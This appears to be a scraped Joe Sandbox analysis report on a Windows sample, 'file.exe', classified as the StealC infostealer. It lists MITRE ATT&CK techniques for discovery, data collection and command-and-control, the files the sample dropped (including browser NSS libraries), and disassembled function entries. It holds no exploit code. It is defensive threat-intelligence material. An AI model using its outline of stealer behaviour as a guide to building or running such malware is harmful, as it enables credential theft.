Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGHJEGIEBFIJJKFIIIJKEHJKJ

C:\ProgramData\BFHIJEBKEBGHIDHJKJEG

C:\ProgramData\DAEGIDHD

C:\ProgramData\DGHJEHJJDAAAKEBGCFCA

C:\ProgramData\GDAAKKEH

C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

C:\ProgramData\GHIDHCBGDHJKEBGDGIJE

C:\ProgramData\GHIDHCBGDHJKEBGDGIJECFIDGC

C:\ProgramData\JJJJEBGDAFHJEBGDGIJDHCAKJK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

Windows Analysis Report
file.exe

Function 009B0090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 009B9270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 009A4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 009ABCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CAF35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 009B43F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 009A48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 009B95E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 009A7750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 009A5150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre